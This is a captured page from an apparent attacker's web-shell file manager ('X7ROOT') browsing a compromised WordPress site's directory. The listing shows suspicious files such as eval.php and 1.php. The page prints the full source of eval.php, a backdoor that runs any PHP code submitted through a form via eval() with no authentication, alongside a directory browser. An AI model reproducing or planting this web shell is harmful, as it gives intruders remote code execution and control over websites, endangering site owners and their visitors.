X7ROOT File Manager
Current Path:
/home/greejped/swagatabose.com
home
/
greejped
/
swagatabose.com
/
ðŸ“
..
📄
.hcflag
(30 B)
📄
.htaccess
(3.92 KB)
📄
.htaccess.bk
(2.46 KB)
📄
.litespeed_flag
(297 B)
ðŸ“
.tmb
📄
.tmp
(491 B)
ðŸ“
.well-known
📄
1.php
(91.42 KB)
📄
26-03-25-swagatabose.zip
(1.08 GB)
📄
bhz.txt
(1 B)
ðŸ“
bkp-2-6-25
📄
bkp-2-6-25.zip
(1.59 GB)
📄
error_log
(995.03 KB)
📄
eval.php
(4.2 KB)
📄
google6032ca844f7c65c4.html
(53 B)
📄
google8dcdbc46faf62283.html
(53 B)
📄
index.php
(406 B)
📄
license.txt
(19.44 KB)
📄
readme.html
(7.25 KB)
📄
robots.txt
(69 B)
📄
style.php
(26 B)
ðŸ“
swagatabose.com
📄
swagatabose.com.zip
(496.22 MB)
📄
wp-activate.php
(7.21 KB)
ðŸ“
wp-admin
📄
wp-blog-header.php
(351 B)
📄
wp-comments-post.php
(2.27 KB)
📄
wp-config-sample.php
(3.26 KB)
📄
wp-config.php
(3.56 KB)
ðŸ“
wp-content
📄
wp-cron.php
(5.49 KB)
ðŸ“
wp-includes
📄
wp-links-opml.php
(2.44 KB)
📄
wp-load.php
(3.84 KB)
📄
wp-login.php
(50.21 KB)
📄
wp-mail.php
(8.52 KB)
📄
wp-settings.php
(29.38 KB)
📄
wp-signup.php
(33.71 KB)
📄
wp-trackback.php
(4.98 KB)
📄
xmlrpc.php
(3.13 KB)
📄
y
(1.82 KB)
Editing: eval.php
<?php define('BASE_DIR', $_SERVER['DOCUMENT_ROOT']); $current_path = isset($_GET['path']) ? realpath(BASE_DIR . $_GET['path']) : BASE_DIR; $current_path = str_replace('\\', '/', $current_path); if(strpos($current_path, BASE_DIR) !== 0){ die("error!"); } if (isset($_POST['submit1'])) { chdir($_POST['curdir']); $content = eval($_POST['content']); } function get_clickable_breadcrumb($base, $current) { $base = rtrim($base, '/'); $current = rtrim($current, '/'); $relative = str_replace($base, '', $current); $parts = array_values(array_filter(explode('/', $relative))); $breadcrumb = '<a href="?path=/">🏠 根目录</a>'; $accum_path = ''; foreach($parts as $index => $part){ $accum_path .= '/' . $part; $encoded_path = urlencode($accum_path); $breadcrumb .= " / <a href=\"?path={$encoded_path}\">".htmlspecialchars($part)."</a>"; } return '<div class="breadcrumb">'.$breadcrumb.'</div>'; } $items = array_diff(scandir($current_path), ['.', '..']); $folders = []; $files = []; foreach($items as $item){ $fullPath = $current_path . '/' . $item; if(is_dir($fullPath)){ $folders[] = [ 'name' => $item, 'type' => 'folder', 'mtime' => filemtime($fullPath) ]; } else { $files[] = [ 'name' => $item, 'type' => 'file', 'size' => filesize($fullPath), 'mtime' => filemtime($fullPath) ]; } } usort($folders, fn($a, $b) => strcmp($a['name'], $b['name'])); usort($files, fn($a, $b) => strcmp($a['name'], $b['name'])); $sortedItems = array_merge($folders, $files); ?> <!DOCTYPE html> <html> <head> <title>filemanage</title> <style> table { border-collapse: collapse; width: 100%; } th, td { border: 1px solid #ddd; padding: 8px; } .folder { background: #f0f8ff; } a { text-decoration: none; color: #06c; } a:hover { text-decoration: underline; } .breadcrumb { padding: 12px; background: #f8f9fa; border-radius: 4px; margin-bottom: 20px; } .breadcrumb a { color: #007bff; transition: color 0.2s; } .breadcrumb a:hover { color: #0056b3; text-decoration: underline; } .form-group { margin-bottom: 15px; } input[type="text"] { width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; } input[type="submit"] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; } </style> </head> <body> <form method="post"> <div class="form-group"> <input type="hidden" name='curdir' value='<?php echo $current_path;?>' /> <textarea id="content" name="content" required style="width:800px; height:200px;"></textarea> </div> <input type="submit" name="submit1" value="提交"> </form> <h2><?= get_clickable_breadcrumb(BASE_DIR,$current_path) ?></h2> <table> <tr> <th>名称</th> <th>类型</th> <th>大小</th> <th>修改时间</th> </tr> <?php foreach($sortedItems as $item): ?> <tr class="<?= $item['type'] === 'folder' ? 'folder' : '' ?>"> <td> <?php if($item['type'] === 'folder'): ?> 📁 <a href="?path=<?= urlencode(str_replace(BASE_DIR, '', $current_path) . '/' . $item['name']) ?>"><?= htmlspecialchars($item['name']) ?></a> <?php else: ?> 📄 <?= htmlspecialchars($item['name']) ?> <?php endif; ?> </td> <td><?= $item['type'] === 'folder' ? '文件夹' : '文件' ?></td> <td><?= $item['type'] === 'file' ? number_format($item['size']/1024, 3).' KB' : '-' ?></td> <td><?= date('Y-m-d H:i:s', $item['mtime']) ?></td> </tr> <?php endforeach; ?> </table> </body> </html>
Upload File
Create Folder